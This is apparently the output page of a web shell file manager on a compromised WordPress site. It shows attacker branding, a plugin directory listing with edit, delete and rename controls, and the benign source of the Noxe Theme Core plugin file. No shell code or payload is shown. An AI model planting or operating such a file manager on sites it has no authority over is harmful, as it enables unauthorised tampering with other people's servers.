⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-content/plugins/noxe-core/ [DIR] languages [ delete | rename ] [DIR] meta-box-extensions [ delete | rename ] [DIR] widgets [ delete | rename ] [DIR] wpbakery [ delete | rename ] [FILE] custom-post-types.php [ edit | delete | rename | download ] [FILE] custom-taxonomies.php [ edit | delete | rename | download ] [FILE] customizer-typekit-support.php [ edit | delete | rename | download ] [FILE] favorite-system.php [ edit | delete | rename | download ] [FILE] imdb-integration.php [ edit | delete | rename | download ] [FILE] noxe-core.php [ edit | delete | rename | download ] [FILE] social-media.php [ edit | delete | rename | download ] [FILE] user-meta-fields.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-content/plugins/noxe-core/noxe-core.php <?php /** * Plugin Name: Noxe Theme Core * Plugin URI: https://themeforest.net/user/gloriathemes * Description: The plugin is a core of Noxe theme. * Version: 1.0.9 * Author: Gloria Themes * Author URI: https://gloriathemes.com/ */ if( !defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } final class noxe_core_plugin { /*====== Constants ======*/ const VERSION = '1.0.9'; const MINIMUM_PHP_VERSION = '7.3'; /*====== Constructor ======*/ public function __construct() { add_action( 'init', array( $this, 'i18n' ) ); add_action( 'plugins_loaded', array( $this, 'init' ) ); } /*====== Load Textdomain ======*/ public function i18n() { load_plugin_textdomain( 'noxe-core' ); } /*====== Initialize The Plugin ======*/ public function init() { /*====== Check PHP Version ======*/ if( version_compare( PHP_VERSION, self::MINIMUM_PHP_VERSION, '<' ) ) { add_action( 'admin_notices', array( $this, 'admin_notice_minimum_php_version' ) ); return; } /*====== Main Files ======*/ require_once( dirname( __FILE__ ) . '/custom-post-types.php' ); require_once( dirname( __FILE__ ) . '/custom-taxonomies.php' ); require_once( dirname( __FILE__ ) . '/user-meta-fields.php' ); /*====== Special Theme Files ======*/ if( get_option( 'stylesheet' ) == "noxe" or get_option( 'stylesheet' ) == "noxe-child" ) { require_once( dirname( __FILE__ ) . '/comments-form-fields.php' ); require_once( dirname( __FILE__ ) . '/social-media.php' ); require_once( dirname( __FILE__ ) . '/favorite-system.php' ); require_once( dirname( __FILE__ ) . '/watchlist-system.php' ); require_once( dirname( __FILE__ ) . '/widgets/blog.php' ); require_once( dirname( __FILE__ ) . '/widgets/social-media.php' ); require_once( dirname( __FILE__ ) . '/widgets/taxonomy-listing.php' ); require_once( dirname( __FILE__ ) . '/widgets/title-listing.php' ); require_once( dirname( __FILE__ ) . '/widgets/title-search.php' ); if( function_exists( 'vc_map' ) ) { function noxe_wpbakery_extensions() { if( noxe_license_check() === true ) { require_once( dirname( __FILE__ ) . '/wpbakery/wpbakery-extended.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/template-studio.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/award-listing.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/billboard.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/blog.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/button.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/cinema-listing.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/countdown.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/google-maps.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/heading.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/image.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/image-gallery.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/info-boxes.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/logos.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/name-listing.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/noxe-slider.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/service-boxes.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/social-media-listing.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/taxonomy-listing.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/team.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/testimonials.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/timeline.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/title-listing.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/title-search.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/title-slider.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/user-box.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/video-player.php' ); require_once( dirname( __FILE__ ) . '/wpbakery/elements/user-watchlist-favorites.php' ); } } add_action( 'init', 'noxe_wpbakery_extensions', 10, 2 ); } function noxe_extensions_extra() { if( noxe_license_check() === true ) { require_once( dirname( __FILE__ ) . '/customizer.php' ); require_once( dirname( __FILE__ ) . '/imdb-integration.php' ); } } add_action( 'init', 'noxe_extensions_extra', 1 ); } /*====== Metabox Extensions ======*/ require_once( dirname( __FILE__ ) . '/meta-box-extensions/meta-box-group/meta-box-group.php' ); require_once( dirname( __FILE__ ) . '/meta-box-extensions/meta-box-show-hide/meta-box-show-hide.php' ); require_once( dirname( __FILE__ ) . '/meta-box-extensions/meta-box-tooltip/meta-box-tooltip.php' ); require_once( dirname( __FILE__ ) . '/meta-box-extensions/mb-term-meta/mb-term-meta.php' ); require_once( dirname( __FILE__ ) . '/meta-box-extensions/meta-box-columns/meta-box-columns.php' ); require_once( dirname( __FILE__ ) . '/meta-box-extensions/meta-box-tabs/meta-box-tabs.php' ); require_once( dirname( __FILE__ ) . '/meta-box-extensions/meta-box-conditional-logic/meta-box-conditional-logic.php' ); require_once( dirname( __FILE__ ) . '/meta-box-extensions/mb-user-meta/mb-user-meta.php' ); require_once( dirname( __FILE__ ) . '/meta-box-extensions/mb-frontend-submission/mb-frontend-submission.php' ); } /*====== PHP Version Admin Notice ======*/ public function admin_notice_minimum_php_version() { if( isset( $_GET['activate'] ) ) { unset( $_GET['activate'] ); } $message = sprintf( esc_html__( '%1$s requires %2$s version must be %3$s or greater.', 'noxe-core' ), '<strong>' . esc_html__( 'Noxe Core', 'noxe-core' ) . '</strong>', '<strong>' . esc_html__( 'PHP', 'noxe-core' ) . '</strong>', self::MINIMUM_PHP_VERSION ); printf( '<div class="notice notice-warning is-dismissible">%1$s</div>', wpautop( $message ) ); } } new noxe_core_plugin();